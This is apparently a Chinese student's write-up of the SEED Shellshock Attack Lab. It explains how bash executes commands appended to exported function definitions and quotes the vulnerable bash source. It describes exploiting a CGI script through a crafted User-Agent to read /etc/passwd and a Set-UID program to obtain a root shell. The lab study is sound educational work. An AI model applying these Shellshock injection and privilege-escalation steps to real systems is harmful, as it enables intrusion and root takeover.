天天看點

漏洞分析——shellshock實驗Shellshock Attack Lab

Shellshock Attack Lab

前導知識

SHELL:指令行界面的解釋器

Linux下常見Shell:

  • Bourne Again Shell(/bin/bash)
  • C Shell(/usr/bin/csh)
  • K Shell(/usr/bin/ksh)
  • Bourne Again Shell(

    /bin/bash

檢視目前使用的shell是否是/bin/bash:

[email protected]:/usr/lib/cgi-bin$ echo $SHELL
/bin/bash
           

vim編輯shell腳本:

#!/bin/bash
echo "Hello World !"
           

可以使用 vi/vim 指令來建立檔案,擴充名為 sh(sh代表shell),#! 是一個約定的标記,它告訴系統這個腳本需要什麼解釋器來執行,即使用哪一種 Shell。

shellshock原理

[04/14/2021 00:28] [email protected]:~$ foo='() { echo "wdnmd"; } ;echo "8848";'
[04/14/2021 00:29] [email protected]:~$ echo $foo
() { echo "wdnmd"; } ;echo "8848";
[04/14/2021 00:29] [email protected]:~$ export foo
[04/14/2021 00:29] [email protected]:~$ bash
8848
[04/14/2021 00:29] [email protected]:~$ declare -f foo
foo () 
{ 
    echo "wdnmd"
}
           

foo本來是一個shell變量,但是在export foo使其成為環境變量後,在子shell程序中,foo成為了一個函數,并且指令行自動執行了echo "8848"的指令

分析:

foo='() { echo "wdnmd"; } ;echo "8848";'
foo  () { echo "wdnmd"; } ;echo "8848";
           

foo變量的字元串被解釋成了兩個指令,分别是聲明了一個函數foo 和 輸出字元串 8848

檢視variables.c的源碼:

可以看到,隻要子程序在傳遞父程序的環境變量的時候,比對到

() {

這四個字元,就會将其解釋為函數

此後,倘若該環境變量字元串包含多個用分号

隔開的shell指令,

parse_and_execute

函數會執行每一條指令

漏洞分析——shellshock實驗Shellshock Attack Lab

是以,對于滿足shellshock的情景,我們可以構造出一個特殊的字元串,使得字元串前面部分是空函數定義,後面是用分号

;

隔開的惡意指令

  • 一個攻擊者能夠控制的環境變量,該變量以 () { 開始。
  • 必須調用bash
  • 系統存在bash漏洞

Task 1: Attack CGI programs

  • CGI(通用網關接口,Common Gateway Interface)

    一個在Web伺服器中使用的技術,是最早的可以建立動态網頁内容的技術之一。它會把一個HTTP請求轉化為一次shell調用。

  • Apache HTTP Server

    世界上最為廣泛使用的Web伺服器軟體,使用了UNIX shell 環境變量來儲存從Web伺服器傳遞出去的參數

    (注:Apache不是指阿帕奇武裝直升機)

原理

漏洞分析——shellshock實驗Shellshock Attack Lab

當使用者将CGI URL發送到Apache Web伺服器時,Apache将檢查該請求

如果是CGI請求,Apache将使用fork()啟動新程序,然後使用exec())函數執行CGI程式

Shellshock的原理是利用了Bash在導入環境變量函數時候的漏洞,啟動Bash的時候,它不但會導入這個函數,而且也會把函數定義後面的指令執行。在有些CGI腳本的設計中,資料是通過環境變量來傳遞的,這樣就給了資料提供者利用Shellshock漏洞的機會。

實驗步驟

/usr/lib/cgi-bin

目錄下使用vim編輯檔案

myprog.cgi

,并設定755權限

漏洞分析——shellshock實驗Shellshock Attack Lab
漏洞分析——shellshock實驗Shellshock Attack Lab
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "wdnmd"
           

#!

告訴系統其後路徑所指定的程式即是解釋此腳本檔案的 Shell 程式

echo "Content-type: text/plain"

是告訴shell解析的時候保持為純文字,不用其他的解釋型語言來解析

使用

ifconfig

指令得到ip位址為

192.168.32.134

漏洞分析——shellshock實驗Shellshock Attack Lab

為了通路該cgi程式,在指令行中輸入:(curl 是發起http請求的指令行工具)

curl http://localhost/cgi-bin/myprog.cgi
           
漏洞分析——shellshock實驗Shellshock Attack Lab

用浏覽器打開也可以通路該cgi程式:

漏洞分析——shellshock實驗Shellshock Attack Lab

阿帕奇伺服器從http請求中獲得user_agent的資訊并将它指派給http_user_agent環境變量,而curl -A可以更改user_agent字段。是以,我們可以通過curl -A指令修改該字段進而發起攻擊

漏洞分析——shellshock實驗Shellshock Attack Lab
漏洞分析——shellshock實驗Shellshock Attack Lab

使用curl指令構造攻擊,檢視/

etc/passwd

目錄下的内容

漏洞分析——shellshock實驗Shellshock Attack Lab

task2 Attack Set-UID programs

task2A

#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
           

/bin/sh

指向

/bin/bash.

sudo ln -sf /bin/bash /bin/sh
           
漏洞分析——shellshock實驗Shellshock Attack Lab

編譯檔案,設為root所有,SUID權限

gcc task2.c -o task2 
sudo chown root task2
sudo chmod 4755 task2
           
漏洞分析——shellshock實驗Shellshock Attack Lab

建立環境變量foo

漏洞分析——shellshock實驗Shellshock Attack Lab

輸入

./t

,system函數通過

fork()

函數建立子程序,并得到父程序的環境變量,bash被調用并執行放在末尾的

/bin/sh

指令

通過攻擊,得到一個所有者為root的

Set-UID

程式

漏洞分析——shellshock實驗Shellshock Attack Lab

task2B

移除

setuid(geteuid())

将無法擷取root權限

setuid(geteuid())

語句将真實的UID轉換為有效的UID,當UID和EUID相同的時候(詳見教材第一章,p20),privmod==0,才會執行環境變量中構造的函數,詳見源代碼中第342行的if語句

教材p20
漏洞分析——shellshock實驗Shellshock Attack Lab

當UID和EUID不相等時,privmode不為0,導緻不能執行環境變量中構造的函數

Task 2C

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
char ** environ;
int main()
{
char * argv[3];
argv[0] = "/bin/ls";
argv[1] = "-l";
argv[2] = NULL;
setuid(geteuid()); // make real uid = effective uid.
execve(argv[0], argv, environ);
return 0 ;
}
           

編譯代碼,并檔案成為root擁有的set-uid程式

漏洞分析——shellshock實驗Shellshock Attack Lab

輸出了ls -l的結果,但是沒有獲得root權限

這是因為,不同于

system()

函數調用子bash程式作為單獨的程序執行指令,

execve()

函數接受三個參數:1 運作的指令,2 指令用到的參數,3 傳入新程式的環境變量,該函數會直接請求作業系統(而不是shell程式執行指定的指令),是以不會執行foo後面的

/bin/sh

task3

受shellshock攻擊滿足的條件:

  • 一個攻擊者能夠控制的環境變量,該變量以 () { 開始。
  • 必須調用bash
  • 系統存在bash漏洞

其他可能受到ShellShock攻擊的情景

  • DHCP用戶端

    一些DHCP用戶端也可以将指令傳遞給Bash;連接配接到開放的Wi-Fi網絡時,易受攻擊的系統可能受到攻擊。DHCP用戶端通常從DHCP伺服器請求并擷取IP位址,但也可以提供一系列附加選項。惡意DHCP伺服器可以在這些選項之一中提供一個字元串,用于在易受攻擊的工作站或筆記本電腦上執行代碼

  • Qmail伺服器

    當使用Bash處理電子郵件時,郵件伺服器通過一種可以利用脆弱版本的Bash的方式傳遞外部輸入。

ShellShock漏洞的根本問題是什麼?我們可以從這個漏洞中學到什麼?

  • 根本問題在于在一定條件下,子程序會把父程序的環境變量解釋為一個函數,并且通過

    parse_and_execute()

    函數執行用分号分割的指令,是以會受到被精心構造的指令的攻擊

附錄

shellshock 308~369行

initialize_shell_variables (env, privmode)
     char **env;
     int privmode;
{
  char *name, *string, *temp_string;
  int c, char_index, string_index, string_length;
  SHELL_VAR *temp_var;

  create_variable_tables ();

  for (string_index = 0; string = env[string_index++]; )
    {

      char_index = 0;
      name = string;
      while ((c = *string++) && c != '=')
	;
      if (string[-1] == '=')
	char_index = string - name - 1;

      /* If there are weird things in the environment, like `=xxx' or a
	 string without an `=', just skip them. */
      if (char_index == 0)
	continue;

      /* ASSERT(name[char_index] == '=') */
      name[char_index] = '\0';
      /* Now, name = env variable name, string = env variable value, and
	 char_index == strlen (name) */

      temp_var = (SHELL_VAR *)NULL;

      /* If exported function, define it now.  Don't import functions from
	 the environment in privileged mode. */
      if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
	{
	  string_length = strlen (string);
	  temp_string = (char *)xmalloc (3 + string_length + char_index);

	  strcpy (temp_string, name);
	  temp_string[char_index] = ' ';
	  strcpy (temp_string + char_index + 1, string);

	  parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

	  /* Ancient backwards compatibility.  Old versions of bash exported
	     functions like name()=() {...} */
	  if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
	    name[char_index - 2] = '\0';

	  if (temp_var = find_function (name))
	    {
	      VSETATTR (temp_var, (att_exported|att_imported));
	      array_needs_making = 1;
	    }
	  else
	    report_error (_("error importing function definition for `%s'"), name);

	  /* ( */
	  if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
	    name[char_index - 2] = '(';		/* ) */
	}
           

繼續閱讀